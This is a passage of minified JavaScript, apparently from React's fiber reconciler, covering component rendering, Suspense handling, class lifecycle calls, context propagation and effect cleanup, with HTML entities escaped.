Ba(g,x,D,U,Z)}function ml(g,x,D){var U=x.pendingProps,Z=U.children,se=(2&amp;x.stateNode._pendingVisibility)!=0,je=g!==null?g.memoizedState:null;if(Au(g,x),U.mode===&quot;hidden&quot;||se){if((128&amp;x.flags)!=0){if(U=je!==null?je.baseLanes|D:D,g!==null){for(Z=x.child=g.child,se=0;Z!==null;)se=se|Z.lanes|Z.childLanes,Z=Z.sibling;x.childLanes=se&amp;~U}else x.childLanes=0,x.child=null;return Ws(g,x,U,D)}if((536870912&amp;D)==0)return x.lanes=x.childLanes=536870912,Ws(g,x,je!==null?je.baseLanes|D:D,D);x.memoizedState={baseLanes:0,cachePool:null},g!==null&amp;&amp;Rc(0,je!==null?je.cachePool:null),je!==null?wt(x,je):Lt(),ce(x)}else je!==null?(Rc(0,je.cachePool),wt(x,je),Le(),x.memoizedState=null):(g!==null&amp;&amp;Rc(0,null),Lt(),Le());return zi(g,x,Z,D),x.child}function Ws(g,x,D,U){var Z=vu();return Z=Z===null?null:{parent:Fs._currentValue2,pool:Z},x.memoizedState={baseLanes:D,cachePool:Z},g!==null&amp;&amp;Rc(0,null),Lt(),ce(x),g!==null&amp;&amp;no(g,x,U,!0),null}function Au(g,x){var D=x.ref;if(D===null)g!==null&amp;&amp;g.ref!==null&amp;&amp;(x.flags|=2097664);else{if(typeof D!=&quot;function&quot;&amp;&amp;typeof D!=&quot;object&quot;)throw Error(r(284));g!==null&amp;&amp;g.ref===D||(x.flags|=2097664)}}function Ba(g,x,D,U,Z){return Ys(x),D=re(g,x,D,U,void 0,Z),U=ze(),g===null||bs?(x.flags|=1,zi(g,x,D,Z),x.child):(Ze(g,x,Z),qa(g,x,Z))}function ec(g,x,D,U,Z,se){return Ys(x),x.updateQueue=null,D=Tt(x,U,D,Z),We(g),U=ze(),g===null||bs?(x.flags|=1,zi(g,x,D,se),x.child):(Ze(g,x,se),qa(g,x,se))}function xu(g,x,D,U,Z){if(Ys(x),x.stateNode===null){var se=vf,je=D.contextType;typeof je==&quot;object&quot;&amp;&amp;je!==null&amp;&amp;(se=zn(je)),se=new D(U,se),x.memoizedState=se.state!==null&amp;&amp;se.state!==void 0?se.state:null,se.updater=Th,x.stateNode=se,se._reactInternals=x,(se=x.stateNode).props=U,se.state=x.memoizedState,se.refs={},we(x),je=D.contextType,se.context=typeof je==&quot;object&quot;&amp;&amp;je!==null?zn(je):vf,se.state=x.memoizedState,typeof(je=D.getDerivedStateFromProps)==&quot;function&quot;&amp;&amp;(ts(x,D,je,U),se.state=x.memoizedState),typeof D.getDerivedStateFromProps==&quot;function&quot;||typeof se.getSnapshotBeforeUpdate==&quot;function&quot;||typeof se.UNSAFE_componentWillMount!=&quot;function&quot;&amp;&amp;typeof se.componentWillMount!=&quot;function&quot;||(je=se.state,typeof se.componentWillMount==&quot;function&quot;&amp;&amp;se.componentWillMount(),typeof se.UNSAFE_componentWillMount==&quot;function&quot;&amp;&amp;se.UNSAFE_componentWillMount(),je!==se.state&amp;&amp;Th.enqueueReplaceState(se,se.state,null),Ke(x,U,se,Z),Pe(),se.state=x.memoizedState),typeof se.componentDidMount==&quot;function&quot;&amp;&amp;(x.flags|=4194308),U=!0}else if(g===null){se=x.stateNode;var Me=x.memoizedProps,Ge=zo(D,Me);se.props=Ge;var St=se.context,vr=D.contextType;je=vf,typeof vr==&quot;object&quot;&amp;&amp;vr!==null&amp;&amp;(je=zn(vr));var gr=D.getDerivedStateFromProps;vr=typeof gr==&quot;function&quot;||typeof se.getSnapshotBeforeUpdate==&quot;function&quot;,Me=x.pendingProps!==Me,vr||typeof se.UNSAFE_componentWillReceiveProps!=&quot;function&quot;&amp;&amp;typeof se.componentWillReceiveProps!=&quot;function&quot;||(Me||St!==je)&amp;&amp;Uo(x,se,U,je),Qu=!1;var Wt=x.memoizedState;se.state=Wt,Ke(x,U,se,Z),Pe(),St=x.memoizedState,Me||Wt!==St||Qu?(typeof gr==&quot;function&quot;&amp;&amp;(ts(x,D,gr,U),St=x.memoizedState),(Ge=Qu||Dl(x,D,Ge,U,Wt,St,je))?(vr||typeof se.UNSAFE_componentWillMount!=&quot;function&quot;&amp;&amp;typeof se.componentWillMount!=&quot;function&quot;||(typeof se.componentWillMount==&quot;function&quot;&amp;&amp;se.componentWillMount(),typeof se.UNSAFE_componentWillMount==&quot;function&quot;&amp;&amp;se.UNSAFE_componentWillMount()),typeof se.componentDidMount==&quot;function&quot;&amp;&amp;(x.flags|=4194308)):(typeof se.componentDidMount==&quot;function&quot;&amp;&amp;(x.flags|=4194308),x.memoizedProps=U,x.memoizedState=St),se.props=U,se.state=St,se.context=je,U=Ge):(typeof se.componentDidMount==&quot;function&quot;&amp;&amp;(x.flags|=4194308),U=!1)}else{se=x.stateNode,ve(g,x),vr=zo(D,je=x.memoizedProps),se.props=vr,gr=x.pendingProps,Wt=se.context,St=D.contextType,Ge=vf,typeof St==&quot;object&quot;&amp;&amp;St!==null&amp;&amp;(Ge=zn(St)),(St=typeof(Me=D.getDerivedStateFromProps)==&quot;function&quot;||typeof se.getSnapshotBeforeUpdate==&quot;function&quot;)||typeof se.UNSAFE_componentWillReceiveProps!=&quot;function&quot;&amp;&amp;typeof se.componentWillReceiveProps!=&quot;function&quot;||(je!==gr||Wt!==Ge)&amp;&amp;Uo(x,se,U,Ge),Qu=!1,Wt=x.memoizedState,se.state=Wt,Ke(x,U,se,Z),Pe();var Qr=x.memoizedState;je!==gr||Wt!==Qr||Qu||g!==null&amp;&amp;g.dependencies!==null&amp;&amp;li(g.dependencies)?(typeof Me==&quot;function&quot;&amp;&amp;(ts(x,D,Me,U),Qr=x.memoizedState),(vr=Qu||Dl(x,D,vr,U,Wt,Qr,Ge)||g!==null&amp;&amp;g.dependencies!==null&amp;&amp;li(g.dependencies))?(St||typeof se.UNSAFE_componentWillUpdate!=&quot;function&quot;&amp;&amp;typeof se.componentWillUpdate!=&quot;function&quot;||(typeof se.componentWillUpdate==&quot;function&quot;&amp;&amp;se.componentWillUpdate(U,Qr,Ge),typeof se.UNSAFE_componentWillUpdate==&quot;function&quot;&amp;&amp;se.UNSAFE_componentWillUpdate(U,Qr,Ge)),typeof se.componentDidUpdate==&quot;function&quot;&amp;&amp;(x.flags|=4),typeof se.getSnapshotBeforeUpdate==&quot;function&quot;&amp;&amp;(x.flags|=1024)):(typeof se.componentDidUpdate!=&quot;function&quot;||je===g.memoizedProps&amp;&amp;Wt===g.memoizedState||(x.flags|=4),typeof se.getSnapshotBeforeUpdate!=&quot;function&quot;||je===g.memoizedProps&amp;&amp;Wt===g.memoizedState||(x.flags|=1024),x.memoizedProps=U,x.memoizedState=Qr),se.props=U,se.state=Qr,se.context=Ge,U=vr):(typeof se.componentDidUpdate!=&quot;function&quot;||je===g.memoizedProps&amp;&amp;Wt===g.memoizedState||(x.flags|=4),typeof se.getSnapshotBeforeUpdate!=&quot;function&quot;||je===g.memoizedProps&amp;&amp;Wt===g.memoizedState||(x.flags|=1024),U=!1)}return se=U,Au(g,x),U=(128&amp;x.flags)!=0,se||U?(se=x.stateNode,D=U&amp;&amp;typeof D.getDerivedStateFromError!=&quot;function&quot;?null:se.render(),x.flags|=1,g!==null&amp;&amp;U?(x.child=Fu(x,g.child,null,Z),x.child=Fu(x,null,D,Z)):zi(g,x,D,Z),x.memoizedState=se.state,g=x.child):g=qa(g,x,Z),g}function $i(g){return{baseLanes:g,cachePool:sf()}}function vo(g,x,D){return g=g!==null?g.childLanes&amp;~D:0,x&amp;&amp;(g|=ea),g}function tc(g,x,D){var U,Z,se,je,Me=x.pendingProps,Ge=!1,St=(128&amp;x.flags)!=0;if((U=St)||(U=(g===null||g.memoizedState!==null)&amp;&amp;(2&amp;as.current)!=0),U&amp;&amp;(Ge=!0,x.flags&amp;=-129),U=(32&amp;x.flags)!=0,x.flags&amp;=-33,g===null)return Z=Me.children,Me=Me.fallback,Ge?(Le(),Z=sa({mode:&quot;hidden&quot;,children:Z},Ge=x.mode),Me=Cr(Me,Ge,D,null),Z.return=x,Me.return=x,Z.sibling=Me,x.child=Z,(Ge=x.child).memoizedState=$i(D),Ge.childLanes=vo(g,U,D),x.memoizedState=cA,Me):(He(x),yo(x,Z));if((se=g.memoizedState)!==null&amp;&amp;(Z=se.dehydrated)!==null){if(St)256&amp;x.flags?(He(x),x.flags&amp;=-257,x=$o(g,x,D)):x.memoizedState!==null?(Le(),x.child=g.child,x.flags|=128,x=null):(Le(),Ge=Me.fallback,Z=x.mode,Me=sa({mode:&quot;visible&quot;,children:Me.children},Z),(Ge=Cr(Ge,Z,D,null)).flags|=2,Me.return=x,Ge.return=x,Me.sibling=Ge,x.child=Me,Fu(x,g.child,null,D),(Me=x.child).memoizedState=$i(D),Me.childLanes=vo(g,U,D),x.memoizedState=cA,x=Ge);else if(He(x),Tr(Z))U=Jr(Z).digest,(Me=Error(r(419))).stack=&quot;&quot;,Me.digest=U,je={value:Me,source:null,stack:null},Du===null?Du=[je]:Du.push(je),x=$o(g,x,D);else if(bs||no(g,x,D,!1),U=(D&amp;g.childLanes)!=0,bs||U){if((U=Wi)!==null){if((42&amp;(Me=D&amp;-D))!=0)Me=1;else switch(Me){case 2:Me=1;break;case 8:Me=4;break;case 32:Me=16;break;case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:case 4194304:case 8388608:case 16777216:case 33554432:Me=64;break;case 268435456:Me=134217728;break;default:Me=0}if((Me=(Me&amp;(U.suspendedLanes|D))!=0?0:Me)!==0&amp;&amp;Me!==se.retryLane)throw se.retryLane=Me,G(g,Me),wo(U,0,Me),px}Ct(Z)||Cu(),x=$o(g,x,D)}else Ct(Z)?(x.flags|=128,x.child=g.child,x=Al.bind(null,g),ci(Z,x),x=null):(g=se.treeContext,(x=yo(x,Me.children)).flags|=4096);return x}return Ge?(Le(),Ge=Me.fallback,Z=x.mode,St=(se=g.child).sibling,(Me=xl(se,{mode:&quot;hidden&quot;,children:Me.children})).subtreeFlags=31457280&amp;se.subtreeFlags,St!==null?Ge=xl(St,Ge):(Ge=Cr(Ge,Z,D,null)).flags|=2,Ge.return=x,Me.return=x,Me.sibling=Ge,x.child=Me,Me=Ge,Ge=x.child,(Z=g.child.memoizedState)===null?Z=$i(D):((se=Z.cachePool)!==null?(St=Fs._currentValue2,se=se.parent!==St?{parent:St,pool:St}:se):se=sf(),Z={baseLanes:Z.baseLanes|D,cachePool:se}),Ge.memoizedState=Z,Ge.childLanes=vo(g,U,D),x.memoizedState=cA,Me):(He(x),g=(D=g.child).sibling,(D=xl(D,{mode:&quot;visible&quot;,children:Me.children})).return=x,D.sibling=null,g!==null&amp;&amp;((U=x.deletions)===null?(x.deletions=[g],x.flags|=16):U.push(g)),x.child=D,x.memoizedState=null,D)}function yo(g,x){return(x=sa({mode:&quot;visible&quot;,children:x},g.mode)).return=g,g.child=x}function sa(g,x){return A0(g,x,0,null)}function $o(g,x,D){return Fu(x,g.child,null,D),(g=yo(x,x.pendingProps.children)).flags|=2,x.memoizedState=null,g}function ms(g,x,D){g.lanes|=x;var U=g.alternate;U!==null&amp;&amp;(U.lanes|=x),pl(g.return,x,D)}function ka(g,x,D,U,Z){var se=g.memoizedState;se===null?g.memoizedState={isBackwards:x,rendering:null,renderingStartTime:0,last:U,tail:D,tailMode:Z}:(se.isBackwards=x,se.rendering=null,se.renderingStartTime=0,se.last=U,se.tail=D,se.tailMode=Z)}function ps(g,x,D){var U=x.pendingProps,Z=U.revealOrder,se=U.tail;if(zi(g,x,U.children,D),(2&amp;(U=as.current))!=0)U=1&amp;U|2,x.flags|=128;else{if(g!==null&amp;&amp;(128&amp;g.flags)!=0)e:for(g=x.child;g!==null;){if(g.tag===13)g.memoizedState!==null&amp;&amp;ms(g,D,x);else if(g.tag===19)ms(g,D,x);else if(g.child!==null){g.child.return=g,g=g.child;continue}if(g===x)break e;for(;g.sibling===null;){if(g.return===null||g.return===x)break e;g=g.return}g.sibling.return=g.return,g=g.sibling}U&amp;=1}switch(h(as,U),Z){case&quot;forwards&quot;:for(D=x.child,Z=null;D!==null;)(g=D.alternate)!==null&amp;&amp;ie(g)===null&amp;&amp;(Z=D),D=D.sibling;(D=Z)===null?(Z=x.child,x.child=null):(Z=D.sibling,D.sibling=null),ka(x,!1,Z,D,se);break;case&quot;backwards&quot;:for(D=null,Z=x.child,x.child=null;Z!==null;){if((g=Z.alternate)!==null&amp;&amp;ie(g)===null){x.child=Z;break}g=Z.sibling,Z.sibling=D,D=Z,Z=g}ka(x,!0,D,null,se);break;case&quot;together&quot;:ka(x,!1,null,null,void 0);break;default:x.memoizedState=null}return x.child}function qa(g,x,D){if(g!==null&amp;&amp;(x.dependencies=g.dependencies),Uu|=x.lanes,(D&amp;x.childLanes)==0&amp;&amp;(g===null||(no(g,x,D,!1),(D&amp;x.childLanes)==0)))return null;if(g!==null&amp;&amp;x.child!==g.child)throw Error(r(153));if(x.child!==null){for(D=xl(g=x.child,g.pendingProps),x.child=D,D.return=x;g.sibling!==null;)g=g.sibling,(D=D.sibling=xl(g,g.pendingProps)).return=x;D.sibling=null}return x.child}function ya(g,x){return(g.lanes&amp;x)!=0||!((g=g.dependencies)===null||!li(g))}function _s(g,x,D){if(g!==null)if(g.memoizedProps!==x.pendingProps)bs=!0;else{if(!ya(g,D)&amp;&amp;(128&amp;x.flags)==0)return bs=!1,(function(Me,Ge,St){switch(Ge.tag){case 3:M(Ge,Ge.stateNode.containerInfo),oa(0,Fs,Me.memoizedState.cache);break;case 27:case 5:$(Ge);break;case 4:M(Ge,Ge.stateNode.containerInfo);break;case 10:oa(0,Ge.type,Ge.memoizedProps.value);break;case 13:var vr=Ge.memoizedState;if(vr!==null)return vr.dehydrated!==null?(He(Ge),Ge.flags|=128,null):(St&amp;Ge.child.childLanes)!=0?tc(Me,Ge,St):(He(Ge),(Me=qa(Me,Ge,St))!==null?Me.sibling:null);He(Ge);break;case 19:var gr=(128&amp;Me.flags)!=0;if((vr=(St&amp;Ge.childLanes)!=0)||(no(Me,Ge,St,!1),vr=(St&amp;Ge.childLanes)!=0),gr){if(vr)return ps(Me,Ge,St);Ge.flags|=128}if((gr=Ge.memoizedState)!==null&amp;&amp;(gr.rendering=null,gr.tail=null,gr.lastEffect=null),h(as,as.current),vr)break;return null;case 22:case 23:return Ge.lanes=0,ml(Me,Ge,St);case 24:oa(0,Fs,Me.memoizedState.cache)}return qa(Me,Ge,St)})(g,x,D);bs=(131072&amp;g.flags)!=0}else bs=!1;switch(x.lanes=0,x.tag){case 16:e:{g=x.pendingProps;var U=x.elementType,Z=U._init;if(U=Z(U._payload),x.type=U,typeof U!=&quot;function&quot;){if(U!=null){if((Z=U.$$typeof)===gf){x.tag=11,x=xo(null,x,U,g,D);break e}if(Z===Nu){x.tag=14,x=va(null,x,U,g,D);break e}}throw x=i(U)||U,Error(r(306,x,&quot;&quot;))}ju(U)?(g=zo(U,g),x.tag=1,x=xu(null,x,U,g,D)):(x.tag=0,x=Ba(null,x,U,g,D))}return x;case 0:return Ba(g,x,x.type,x.pendingProps,D);case 1:return xu(g,x,U=x.type,Z=zo(U,x.pendingProps),D);case 3:if(M(x,x.stateNode.containerInfo),g===null)throw Error(r(387));var se=x.pendingProps;U=(Z=x.memoizedState).element,ve(g,x),Ke(x,se,null,D);var je=x.memoizedState;return se=je.cache,oa(0,Fs,se),se!==Z.cache&amp;&amp;ns(x,[Fs],D,!0),Pe(),(se=je.element)!==U?(zi(g,x,se,D),x=x.child):x=qa(g,x,D),x;case 26:case 27:case 5:return $(x),Z=x.type,se=x.pendingProps,je=g!==null?g.memoizedProps:null,U=se.children,eA(Z,se)?U=null:je!==null&amp;&amp;eA(Z,je)&amp;&amp;(x.flags|=32),x.memoizedState!==null&amp;&amp;(Z=re(g,x,H,null,null,D),N._currentValue2=Z),Au(g,x),zi(g,x,U,D),x.child;case 6:return null;case 13:return tc(g,x,D);case 4:return M(x,x.stateNode.containerInfo),U=x.pendingProps,g===null?x.child=Fu(x,null,U,D):zi(g,x,U,D),x.child;case 11:return xo(g,x,x.type,x.pendingProps,D);case 7:return zi(g,x,x.pendingProps,D),x.child;case 8:case 12:return zi(g,x,x.pendingProps.children,D),x.child;case 10:return U=x.pendingProps,oa(0,x.type,U.value),zi(g,x,U.children,D),x.child;case 9:return Z=x.type._context,U=x.pendingProps.children,Ys(x),U=U(Z=zn(Z)),x.flags|=1,zi(g,x,U,D),x.child;case 14:return va(g,x,x.type,x.pendingProps,D);case 15:return Tc(g,x,x.type,x.pendingProps,D);case 19:return ps(g,x,D);case 22:return ml(g,x,D);case 24:return Ys(x),U=zn(Fs),g===null?((Z=vu())===null&amp;&amp;(Z=Wi,se=gs(),Z.pooledCache=se,se.refCount++,se!==null&amp;&amp;(Z.pooledCacheLanes|=D),Z=se),x.memoizedState={parent:U,cache:Z},we(x),oa(0,Fs,Z)):((g.lanes&amp;D)!=0&amp;&amp;(ve(g,x),Ke(x,null,null,D),Pe()),Z=g.memoizedState,se=x.memoizedState,Z.parent!==U?(Z={parent:U,cache:U},x.memoizedState=Z,x.lanes===0&amp;&amp;(x.memoizedState=x.updateQueue.baseState=Z),oa(0,Fs,U)):(U=se.cache,oa(0,Fs,U),U!==Z.cache&amp;&amp;ns(x,[Fs],D,!0))),zi(g,x,x.pendingProps.children,D),x.child;case 29:throw x.pendingProps}throw Error(r(156,x.tag))}function Ks(){Ip=Bf=Cp=null}function oa(g,x,D){h(uA,x._currentValue2),x._currentValue2=D}function Ni(g){var x=uA.current;g._currentValue2=x,u(uA)}function pl(g,x,D){for(;g!==null;){var U=g.alternate;if((g.childLanes&amp;x)!==x?(g.childLanes|=x,U!==null&amp;&amp;(U.childLanes|=x)):U!==null&amp;&amp;(U.childLanes&amp;x)!==x&amp;&amp;(U.childLanes|=x),g===D)break;g=g.return}}function ns(g,x,D,U){var Z=g.child;for(Z!==null&amp;&amp;(Z.return=g);Z!==null;){var se=Z.dependencies;if(se!==null){var je=Z.child;se=se.firstContext;e:for(;se!==null;){var Me=se;se=Z;for(var Ge=0;Ge&lt;x.length;Ge++)if(Me.context===x[Ge]){se.lanes|=D,(Me=se.alternate)!==null&amp;&amp;(Me.lanes|=D),pl(se.return,D,g),U||(je=null);break e}se=Me.next}}else if(Z.tag===18){if((je=Z.return)===null)throw Error(r(341));je.lanes|=D,(se=je.alternate)!==null&amp;&amp;(se.lanes|=D),pl(je,D,g),je=null}else je=Z.child;if(je!==null)je.return=Z;else for(je=Z;je!==null;){if(je===g){je=null;break}if((Z=je.sibling)!==null){Z.return=je.return,je=Z;break}je=je.return}Z=je}}function no(g,x,D,U){g=null;for(var Z=x,se=!1;Z!==null;){if(!se){if((524288&amp;Z.flags)!=0)se=!0;else if((262144&amp;Z.flags)!=0)break}if(Z.tag===10){var je=Z.alternate;if(je===null)throw Error(r(387));if((je=je.memoizedProps)!==null){var Me=Z.type;Jo(Z.pendingProps.value,je.value)||(g!==null?g.push(Me):g=[Me])}}else if(Z===qc.current){if((je=Z.alternate)===null)throw Error(r(387));je.memoizedState.memoizedState!==Z.memoizedState.memoizedState&amp;&amp;(g!==null?g.push(N):g=[N])}Z=Z.return}g!==null&amp;&amp;ns(x,g,D,U),x.flags|=262144}function li(g){for(g=g.firstContext;g!==null;){var x=g.context;if(!Jo(x._currentValue2,g.memoizedValue))return!0;g=g.next}return!1}function Ys(g){Cp=g,Ip=Bf=null,(g=g.dependencies)!==null&amp;&amp;(g.firstContext=null)}function zn(g){return ba(Cp,g)}function _a(g,x){return Cp===null&amp;&amp;Ys(g),ba(g,x)}function ba(g,x){var D=x._currentValue2;if(Ip!==x)if(x={context:x,memoizedValue:D,next:null},Bf===null){if(g===null)throw Error(r(308));Bf=x,g.dependencies={lanes:0,firstContext:x},g.flags|=524288}else Bf=Bf.next=x;return D}function gs(){return{controller:new y2,data:new Map,refCount:0}}function Tl(g){g.refCount--,g.refCount===0&amp;&amp;b2(w2,(function(){g.controller.abort()}))}function vu(){var g=Rh.current;return g!==null?g:Wi.pooledCache}function Rc(g,x){h(Rh,x===null?Rh.current:x.pool)}function sf(){var g=vu();return g===null?null:{parent:Fs._currentValue2,pool:g}}function of(g){g.flags|=4}function J0(g,x){x!==null&amp;&amp;(g.flags|=4),16384&amp;g.flags&amp;&amp;(x=g.tag!==22?w():536870912,g.lanes|=x)}function f0(g,x){switch(g.tailMode){case&quot;hidden&quot;:x=g.tail;for(var D=null;x!==null;)x.alternate!==null&amp;&amp;(D=x),x=x.sibling;D===null?g.tail=null:D.sibling=null;break;case&quot;collapsed&quot;:D=g.tail;for(var U=null;D!==null;)D.alternate!==null&amp;&amp;(U=D),D=D.sibling;U===null?x||g.tail===null?g.tail=null:g.tail.sibling=null:U.sibling=null}}function As(g){var x=g.alternate!==null&amp;&amp;g.alternate.child===g.child,D=0,U=0;if(x)for(var Z=g.child;Z!==null;)D|=Z.lanes|Z.childLanes,U|=31457280&amp;Z.subtreeFlags,U|=31457280&amp;Z.flags,Z.return=g,Z=Z.sibling;else for(Z=g.child;Z!==null;)D|=Z.lanes|Z.childLanes,U|=Z.subtreeFlags,U|=Z.flags,Z.return=g,Z=Z.sibling;return g.subtreeFlags|=U,g.childLanes=D,x}function Kg(g,x,D){var U=x.pendingProps;switch(T(x),x.tag){case 16:case 15:case 0:case 11:case 7:case 8:case 12:case 9:case 14:case 1:return As(x),null;case 3:return D=x.stateNode,U=null,g!==null&amp;&amp;(U=g.memoizedState.cache),x.memoizedState.cache!==U&amp;&amp;(x.flags|=2048),Ni(Fs),O(),D.pendingContext&amp;&amp;(D.context=D.pendingContext,D.pendingContext=null),g!==null&amp;&amp;g.child!==null||g===null||g.memoizedState.isDehydrated&amp;&amp;(256&amp;x.flags)==0||(x.flags|=1024,Du!==null&amp;&amp;(ad(Du),Du=null)),As(x),null;case 26:var Z;case 27:case 5:if(P(x),D=x.type,g!==null&amp;&amp;x.stateNode!=null)(function(je,Me,Ge,St){je.memoizedProps!==St&amp;&amp;of(Me)})(g,x,0,U);else{if(!U){if(x.stateNode===null)throw Error(r(166));return As(x),null}g=Hc.current,(function(je,Me,Ge,St){for(Ge=Me.child;Ge!==null;){if(Ge.tag===5||Ge.tag===6)xf(je,Ge.stateNode);else if(Ge.tag!==4&amp;&amp;!dd&amp;&amp;Ge.child!==null){Ge.child.return=Ge,Ge=Ge.child;continue}if(Ge===Me)break;for(;Ge.sibling===null;){if(Ge.return===null||Ge.return===Me)return;Ge=Ge.return}Ge.sibling.return=Ge.return,Ge=Ge.sibling}})(Z=Mc(D,U,dc.current,g,x),x,!1),x.stateNode=Z,gp(Z,D,U,g)&amp;&amp;of(x)}return As(x),(function(je,Me,Ge){if(Bu(Me,Ge)){if(je.flags|=16777216,!ku(Me,Ge)){if(!fp())throw Ta=ca,hd;je.flags|=8192}}else je.flags&amp;=-16777217})(x,x.type,x.pendingProps),null;case 6:if(g&amp;&amp;x.stateNode!=null)(D=g.memoizedProps)!==U&amp;&amp;of(x);else{if(typeof U!=&quot;string&quot;&amp;&amp;x.stateNode===null)throw Error(r(166));g=dc.current,D=Hc.current,x.stateNode=so(U,g,D,x)}return As(x),null;case 13:if(U=x.memoizedState,g===null||g.memoizedState!==null&amp;&amp;g.memoizedState.dehydrated!==null){if(Z=!1,U!==null&amp;&amp;U.dehydrated!==null){if(g===null)throw Error(r(Z?344:318));(128&amp;x.flags)==0&amp;&amp;(x.memoizedState=null),x.flags|=4,As(x),Z=!1}else Du!==null&amp;&amp;(ad(Du),Du=null),Z=!0;if(!Z)return 256&amp;x.flags?(rt(x),x):(rt(x),null)}if(rt(x),(128&amp;x.flags)!=0)return x.lanes=D,x;if(D=U!==null,g=g!==null&amp;&amp;g.memoizedState!==null,D){Z=null,(U=x.child).alternate!==null&amp;&amp;U.alternate.memoizedState!==null&amp;&amp;U.alternate.memoizedState.cachePool!==null&amp;&amp;(Z=U.alternate.memoizedState.cachePool.pool);var se=null;U.memoizedState!==null&amp;&amp;U.memoizedState.cachePool!==null&amp;&amp;(se=U.memoizedState.cachePool.pool),se!==Z&amp;&amp;(U.flags|=2048)}return D!==g&amp;&amp;D&amp;&amp;(x.child.flags|=8192),J0(x,x.updateQueue),As(x),null;case 4:return O(),g===null&amp;&amp;uc(x.stateNode.containerInfo),As(x),null;case 10:return Ni(x.type),As(x),null;case 19:if(u(as),(Z=x.memoizedState)===null)return As(x),null;if(U=(128&amp;x.flags)!=0,(se=Z.rendering)===null)if(U)f0(Z,!1);else{if(os!==0||g!==null&amp;&amp;(128&amp;g.flags)!=0)for(g=x.child;g!==null;){if((se=ie(g))!==null){for(x.flags|=128,f0(Z,!1),g=se.updateQueue,x.updateQueue=g,J0(x,g),x.subtreeFlags=0,g=D,D=x.child;D!==null;)pf(D,g),D=D.sibling;return h(as,1&amp;as.current|2),x.child}g=g.sibling}Z.tail!==null&amp;&amp;yl()&gt;Np&amp;&amp;(x.flags|=128,U=!0,f0(Z,!1),x.lanes=4194304)}else{if(!U)if((g=ie(se))!==null){if(x.flags|=128,U=!0,g=g.updateQueue,x.updateQueue=g,J0(x,g),f0(Z,!0),Z.tail===null&amp;&amp;Z.tailMode===&quot;hidden&quot;&amp;&amp;!se.alternate)return As(x),null}else 2*yl()-Z.renderingStartTime&gt;Np&amp;&amp;D!==536870912&amp;&amp;(x.flags|=128,U=!0,f0(Z,!1),x.lanes=4194304);Z.isBackwards?(se.sibling=x.child,x.child=se):((g=Z.last)!==null?g.sibling=se:x.child=se,Z.last=se)}return Z.tail!==null?(x=Z.tail,Z.rendering=x,Z.tail=x.sibling,Z.renderingStartTime=yl(),x.sibling=null,g=as.current,h(as,U?1&amp;g|2:1&amp;g),x):(As(x),null);case 22:case 23:return rt(x),ir(),U=x.memoizedState!==null,g!==null?g.memoizedState!==null!==U&amp;&amp;(x.flags|=8192):U&amp;&amp;(x.flags|=8192),U?(536870912&amp;D)!=0&amp;&amp;(128&amp;x.flags)==0&amp;&amp;(As(x),6&amp;x.subtreeFlags&amp;&amp;(x.flags|=8192)):As(x),(D=x.updateQueue)!==null&amp;&amp;J0(x,D.retryQueue),D=null,g!==null&amp;&amp;g.memoizedState!==null&amp;&amp;g.memoizedState.cachePool!==null&amp;&amp;(D=g.memoizedState.cachePool.pool),U=null,x.memoizedState!==null&amp;&amp;x.memoizedState.cachePool!==null&amp;&amp;(U=x.memoizedState.cachePool.pool),U!==D&amp;&amp;(x.flags|=2048),g!==null&amp;&amp;u(Rh),null;case 24:return D=null,g!==null&amp;&amp;(D=g.memoizedState.cache),x.memoizedState.cache!==D&amp;&amp;(x.flags|=2048),Ni(Fs),As(x),null;case 25:return null}throw Error(r(156,x.tag))}function Yg(g,x){switch(T(x),x.tag){case 1:return 65536&amp;(g=x.flags)?(x.flags=-65537&amp;g|128,x):null;case 3:return Ni(Fs),O(),(65536&amp;(g=x.flags))!=0&amp;&amp;(128&amp;g)==0?(x.flags=-65537&amp;g|128,x):null;case 26:case 27:case 5:return P(x),null;case 13:if(rt(x),(g=x.memoizedState)!==null&amp;&amp;g.dehydrated!==null&amp;&amp;x.alternate===null)throw Error(r(340));return 65536&amp;(g=x.flags)?(x.flags=-65537&amp;g|128,x):null;case 19:return u(as),null;case 4:return O(),null;case 10:return Ni(x.type),null;case 22:case 23:return rt(x),ir(),g!==null&amp;&amp;u(Rh),65536&amp;(g=x.flags)?(x.flags=-65537&amp;g|128,x):null;case 24:return Ni(Fs),null;default:return null}}function ip(g,x){switch(T(x),x.tag){case 3:Ni(Fs),O();break;case 26:case 27:case 5:P(x);break;case 4:O();break;case 13:rt(x);break;case 19:u(as);break;case 10:Ni(x.type);break;case 22:case 23:rt(x),ir(),g!==null&amp;&amp;u(Rh);break;case 24:Ni(Fs)}}function X0(g,x){try{var D=x.updateQueue,U=D!==null?D.lastEffect:null;if(U!==null){var Z=U.next;D=Z;do{if((D.tag&amp;g)===g){U=void 0;var se=D.create,je=D.inst;U=se(),je.destroy=U}D=D.next}while(D!==Z)}}catch(Me){Dr(x,x.return,Me)}}function Pc(g,x,D){try{var U=x.updateQueue,Z=U!==null?U.lastEffect:null;if(Z!==null){var se=Z.next;U=se;do{if((U.tag&amp;g)===g){var je=U.inst,Me=je.destroy;if(Me!==void 0){je.destroy=void 0,Z=x;var Ge=D;try{Me()}catch(St){Dr(Z,Ge,St)}}}U=U.next}while(U!==se)}}catch(St){Dr(x,x.return,St)}}function fh(g){var x=g.updateQueue;if(x!==null){var D=g.stateNode;try{pt(x,D)}catch(U){Dr(g,g.return,U)}}}function lf(g,x,D){D.props=zo(g.type,g.memoizedProps),D.state=g.memoizedState;try{D.componentWillUnmount()}catch(U){Dr(g,x,U)}}function ed(g,x){try{var D=g.ref;if(D!==null){var U=g.stateNode;switch(g.tag){case 26:case 27:case 5:var Z=Co(U);break;default:Z=U}typeof D==&quot;function&quot;?g.refCleanup=D(Z):D.current=Z}}catch(se){Dr(g,x,se)}}function Rl(g,x){var D=g.ref,U=g.refCleanup;if(D!==null)if(typeof U==&quot;function&quot;)try{U()}catch(Z){Dr(g,x,Z)}finally{g.refCleanup=null,(g=g.alternate)!=null&amp;&amp;(g.refCleanup=null)}else if(typeof D==&quot;function&quot;)try{D(null)}catch(Z){Dr(g,x,Z)}else D.current=null}function Zg(g){var x=g.type,D=g.memoizedProps,U=g.stateNode;try{Fe(U,x,D,g)}catch(Z){Dr(g,g.return,Z)}}function Ho(g){return g.tag===5||g.tag===3||g.tag===4}function qo(g){e:for(;;){for(;g.sibling===null;){if(g.return===null||Ho(g.return))return 